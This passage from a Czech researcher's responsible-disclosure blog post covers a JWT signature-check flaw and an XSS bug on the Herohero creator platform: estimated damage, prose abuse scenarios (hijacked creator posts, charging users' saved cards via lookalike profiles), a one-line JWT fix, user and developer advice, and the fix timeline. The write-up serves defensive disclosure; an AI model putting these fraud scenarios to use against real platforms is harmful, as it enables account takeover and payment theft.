Bylo by to uvěřitelné? Celkem ano. V minulosti měl několik podobných akcí na svou značku Memento Mori (https://mementomori.pm). Vždy se jednalo o fyzické předměty, ale prodej NFT kolekce by u Petra Máry nebylo nic překvapivého. Toto byl samozřejmě ještě mírnější příklad, v tom horším případě se mohlo jednat o propagaci "shitcoinu", například:

"Již dlouho se zajímám o investování do kryptoměn. Exkluzivně jen pro podporovatele na Herohero dávám tip k zajímavé příležitosti, které sám velice věřím. Nově vzniklou kryptoměnu XYZ nakoupíte na...."

Troufám si říci, že tohle by se již velice špatně odkomunikovávalo. Někteří podporovatelé by mohli dojít k názoru "Zkusil to, ale nevyšlo mu to, tak to teď to svádí na hacknutý účet. Snad za to alespoň dostal dobře zaplaceno.". 🙃

Toto byl příklad jen u jednoho tvůrce. Dalším by mohla být propagace politické strany před volbami. Dokážete si představit, že by Čestmír Strakatý přidal příspěvek s vyjádřením podpory komunistické straně? Určitě by to pro něj bylo nepříjemné dokazování a obhajování. Pravděpodobně by tím přišel i nevratně o část odběratelů, a to i když by se to později vysvětlilo.

Podobných příkladů by se dalo vymyslet nespočet. Zaleželo by jen na tom, jestli by útočník cílil na zisk (crypto scamy/NFT), určitou propagaci nebo na poničenou pověst.

Kolik by stály politické příspěvky u několika velkých tvůrců?
Kolik by stál příspěvek na propagaci "shitcoinu"?
Kolik by útočník získal z nákupu kryptoměn/NFT?
Jak vyčíslit (nenávratně) poničenou pověst?

Pokud bych se pokusil vše zkalkulovat, tak při nižší hranici nákladů/škody se bude částka pohybovat na minimálně 10 milionu korun.

Možná škoda: minimálně 10 000 000 Kč

Finanční škoda u všech uživatelů

Kromě samotných tvůrců mohla vzniknout finanční škoda u všech uživatelů, a to ve velkém rozsahu.

Jak jsem výše popisoval, tak u Herohero bylo možné použít uloženou platbu, kterou má každý odběratel na svém účtu. Útočník uloženou kartou mohl provést nákup předplatného svého profilu a tím by získal na svůj Stripe účet finanční prostředky.

Pár dnů po reportování zranitelnosti byl vydán článek v Hospodářských novinách s informací, že na Herohero je přes 65 000 uživatelů - "Podobných tvůrců jako Lukášková je na Herohero už přes 600. Uživatelů, kteří si platí za jejich obsah, je přes 65 tisíc. A každým dnem přibývají další." (zdroj: Hospodářské noviny 2.5.2023)

Jestliže by útočník u každého uživatele provedl platbu ve výši 10€, získá tím 585 000 € (po odečtení 10% Herohero poplatku), tedy necelých 15 000 000 Kč.

Možná škoda: 15 000 000 Kč


Pokud by útočník vyčkal nějakou dobu, tak ke dni 18.7.2024 mohl útočník manipulovat s účty minimálně 150 000 uživatelů - sečteno TOP 50 největších účtů (link). Překryvy uživatelů mohou být, ale je to vykompenzováno nesečtením zbylých tvůrců - vše pod 984 odběratelů.

Škoda mohla být tedy výrazně vyšší. Pokud by u každého uživatele opět provedl platbu kartou v hodnotě 10€, útočník by si přišel na 1 350 000 €, tedy v přepočtu 34 000 000 korun.

Možná škoda: 34 000 000 Kč


V uvedených příkladech je použita platba 10€, ale útočník mohl zkusit i jiné částky (nejdražší předplatné za 400€). Kromě toho nemusel provést jen jednu platbu, ale mohl jich provést několik (několik vytvořených profilů) a to až do limitu karty, nebo do vyčerpání finančních prostředků na účtě. Finanční škoda tedy mohla být mnohonásobně větší.

Výše uvedené příklady jsou samozřejmě velmi extrémní a pravděpodobně by k nim nedošlo ⚠️. Při takovém počtu transakcí by to bylo velmi podezřelé. Herohero by vidělo neobvyklý nárůst odběratelů a začal by pravděpodobně blokovat a vyšetřovat tuto aktivitu. Stripe by zas pozastavil výplatu na účet útočníka. Domnívám se ale, že velká část plateb by proběhla. Pak by určitě nějakou dobu trvalo, než by došlo vyřešení vzniklé situace a navrácení prostředků zpět.

Pokud by ale útočník vše prováděl "rozumně" v menším měřítku, tak by bylo otázkou jak dlouho by mu to procházelo. Dle počtu uživatelů dochází u HeroHero k několika tisícům transakcí denně. Pár desítek/stovek transakcí by se jistě v tom počtu "ztratilo". Útočník také přesně věděl, jestli cílový uživatel má nějaké aktivní předplatné a u koho konkrétně. Mohl si tedy vytvořit profil se (skoro) shodným názvem a ten nechat zaplatit uloženou kartou. Kolik uživatelů by řešilo reklamaci, jestliže by došlo k platbě o pár dnů dříve než by mělo? Víte na den přesně, kdy se vám obnovuje předplatné? 🤔

Útočník nemusel nechat platit jen svůj profil, ale taky mohl zaplatit profil již zavedenému tvůrci (viz platba uloženou kartou spoluzakladatele Herohero). Při využití XSS zranitelnosti by se navíc velmi špatně dokazoval úmysl, protože transakce by proběhla ze zařízení oběti. V tomto případě by z toho útočník nic neměl, ale škoda by přesto vznikla. Pokud by byly jeho "Stripe účty" zablokované a bezpečnostní chyby stále neopraveny, proč by nemohl nějakému oblíbenému tvůrci zpříjemnit měsíční výplatu?

Případně mohl postupovat i naopak, tedy v neprospěch tvůrců, kdy by cíleně snížil jejich předplatné. O této změně není tvůrce informován a sám by to musel navrátit zpět. Během té doby by mohl přijít o část peněz. Příkladem může být "Jediný rozhovor v životě" od Martina Mikysky alias Mikýře. Asi by nebyl nadšen, kdyby v okamžik premiéry rozhovoru došlo ke změně předplatného z 10€ na 3€. 🙃

Jak v budoucnu minimalizovat riziko zneužití

Všem uživatelům používající platební kartu na internetu bych doporučil tyto body:

  • Používat platební kartu, která není navázaná na hlavní bankovní účet
    - ideálně tedy mít jiný bankovní účet s platební kartou pro platby na internetu, cílem je mít rozdělené finance
     
  • Nastavený rozumný (nízký) limit pro platby na internetu
    - běžně bývá 5 000 Kč, jestliže byl takový zůstatek na účtu, útočník mohl provést platbu v této výši
     
  • Odstranit platební kartu z portálu, kde již nevyužíváte službu (neplatíte předplatné)
    - odstranit uloženou kartu např. u dovozce jídla, u předplatného na software - útočník může kartu stále zneužít
    - provést kontrolu v bankovní aplikaci, kde všude je uložena platební karta (pokud aplikace umožňuje)
    - dále například kontrolu automatických plateb na Paypalu (automatické platby)
     

Tipy, jak (částečně) poznat, že společnost dbá na bezpečnost u svého produktu:

security.txt

Security.txt je zavedený RFC standard v podobě jednoduchého textového souboru, který obsahuje kontakty pro nahlášení objevené bezpečnostní chyby.

Soubor bývá umístěný na adrese https://example.com/.well-known/security.txt. Přítomnost tohoto souboru alespoň trochu naznačuje, že ve společnosti je někdo, kdo se zabývá bezpečností. Tímto souborem dávají najevo, že v případě nalezení zranitelnosti chtějí být informováni, aby se záležitost dostala okamžitě ke kompetentní osobě.

Příklady společností se security.txt:
https://patreon.com/.well-known/security.txt
https://www.forendors.cz/.well-known/security.txt
https://www.seznam.cz/.well-known/security.txt
https://www.instagram.com/.well-known/security.txt
https://www.google.com/.well-known/security.txt

Linkedin - seznam zaměstnanců se zaměřením na bezpečnost

Dalším krokem může být výpis zaměstnanců na jejich Linkedin profile. Jestliže v dané společnosti pracuje někdo se zaměřením na bezpečnost, pravděpodobně ho bude možné dohledat. Opět se jedná o doplňující informaci o tom, zda je ve společnosti někdo, kdo bezpečnost aktivně řeší.

https://www.linkedin.com/company/patreon/people/?keywords=security
https://www.linkedin.com/company/seznam.cz/people/?keywords=security

Inzeráty hledající osobu do security týmu

Pokud společnost aktivně hledá odborníky zaměřené na bezpečnost, znamená to minimálně dvě věci: buď již mají vlastní bezpečnostní tým, nebo se nový tým právě formuje. V obou případech je to známka toho, že bezpečnost chtějí aktivně řešit.

https://www.metacareers.com/jobs?q=security

Společnost dělá penetrační testy (bezpečnostní testy)

Každá společnost pracující s citlivými údaji a financemi uživatelů by měla provádět bezpečnostní testy, aby zajistila jejich ochranu.

Zjistit, zda společnost provádí bezpečnostní testy, může být velmi náročné. Zveřejňovat tuto informaci vidím jen ve výjimečných případech. Pokud mají vlastní interní bezpečnostní tým, pravděpodobně si budou bezpečnostní testy provádět sami a bližší informace neprozradí. Pokud však vlastní tým nemají, měli by produkt/službu nechat otestovat externí společností. V tomto případě by alespoň mohli sdělit, která firma pro ně prováděla penetrační test a tuto informaci si poté ověřit.

Aktivní Bug Bounty Program nebo Vulnerability Disclosure Program (VDP)

Každá větší společnost, která zveřejňuje tyto programy, si je vědoma toho, že nikdo není neomylný. Chtějí se o případné chybě dozvědět co nejdříve, a proto nabízejí finanční odměnu za nalezení bezpečnostní chyby. Tímto způsobem zajišťují kontinuální testování od bezpečnostních výzkumníků.

Trezor Security Policy
Seznam Security Policy
Patreon Security Policy
TikTok Bug Bounty
Google VRP

Kde nastala chyba? Doporučení pro vývojáře

Každému vývojáři bych doporučil zkontrolovat použití JWT pro autentizaci uživatele.

U Herohero se jednalo konkrétně o tuto chybu:

- jwtParser(key).parse(this)
+ jwtParser(key).parseClaimsJws(this)

Při použití původního kódu došlo k akceptování jak podepsaných tokenů, tak i všech nepodepsaných. 💀

Vojtěch Knyttl z Herohero navrhl v projektu změnu pro použití JWT tokenu bez zavádějícího použití - https://github.com/jwtk/jjwt/issues/775. Chybné použití měly i jiné společnosti (a pravděpodobně některé stále mají). Problém byl efektivně vyřešen tímto: https://github.com/jwtk/jjwt/pull/658#issuecomment-1101614067.

Shrnutí

Obě nalezené zranitelnosti umožňovaly přístup k cizímu účtu na Herohero. V jednom případě bylo nutné, aby uživatel otevřel odkaz. V druhém případě nebyla žádná interakce nutná (0-click attack).

Výsledným dopadem nebyla jen možnost upravovat/přidávat příspěvky nebo přistupovat do soukromých zpráv, velkým problémem zde především byla možnost používat uloženou platební kartu k platbě předplatného jiného tvůrce, čímž se mohl útočník velmi značně obohatit.

U JWT tokenu se jednalo o základní bezpečnostní problém, který by odhalil běžný penetrační test. XSS zranitelnost byla o něco složitější, ale i tak byla objevena za pouhé dva dny testování. V obou případech bylo tedy velké štěstí, že nedošlo k jejich zneužití.

Jakýkoli portál, který pracuje s platební kartou uživatele, by měl velmi dbát na svou bezpečnost. I jedna malá bezpečnostní chyba (např. XSS) může vést k velkému problému. V případě, kdy platforma umožnuje odesílání zpráv a zveřejňování příspěvků, může být dopad ještě výrazně větší. Útočník může tímto způsobem nekontrolovatelně šířit odkaz vykonávající libovolnou nežádoucí aktivitu (XSS worm) a tím zvětšit dopad svého útoku.

Tvůrci by měli vždy pečlivě vybírat novou platformu, kterou budou používat pro sdílení svého obsahu. Jejich podporovatelé tento výběr udělat nemohou a budou používat to, kde tvůrci zveřejňují (exkluzivní) obsah. V případě bezpečnostního incidentu hrozí tvůrcům nejenom poškození jejich jména a tím ovlivnění příjmů za spolupráce, ale také riziko úniku osobních údajů či finanční škody u jejich odběratelů.

U Herohero velmi oceňuji rychlost oprav zmíněných chyb. Nepamatuji si, že by nějaká společnost, které jsem reportoval kritickou zranitelnost, opravila chybu ještě v tentýž den. V tomto případě došlo k opravě dokonce do pěti hodin od zaslání reportu (k finální opravě došlo v 9 hodin večer). 👍

Nakonec doplním, že každá komplexnější webová aplikace nebo služba má menší či větší bezpečnostní zranitelnosti. Záleží pak jen na tom, jak efektivně a rychle dokážou tyto společnosti reagovat a zranitelnosti odstranit, aby minimalizovaly potenciální škody. I společnosti jako Apple, Microsoft nebo Google mají bezpečnostní chyby ve svých produktech. Například Google vyplatil v minulém roce bezpečnostním výzkumníkům odměny ve výši 10 milionů dolarů, tedy přibližně čtvrt miliardy korun (zdroj).

Timeline

6.4.2023 22:00 - Začátek ověřování Herohero
11.4.2023 16:18 - Odeslán report
11.4.2023 19:01 - Opraveno XSS v return_url (později došlo k používání cookies místo localStorage)
11.4.2023 21:04 - Opravena kritická chyba s JWT Tokenem


Po opravě došlo k pozvání na oběd a nabídce spolupráce. Za nalezené zranitelnosti mi byla vyplacena odměna ve výši 30 000 Kč.


Dodatek

Během psaní tohoto článku jsem nalezl další 4 zranitelnosti. Jedna umožňovala možný leak osobních informací u všech tvůrců (jméno, příjmení, adresa, telefon, datum narození), ostatní chyby vedly k získání dat o přesných příjmech. Tyto nové chyby byly také nahlášeny a opět došlo k rychlé opravě. V tomto případě bylo vše vyřešeno následující pracovní den.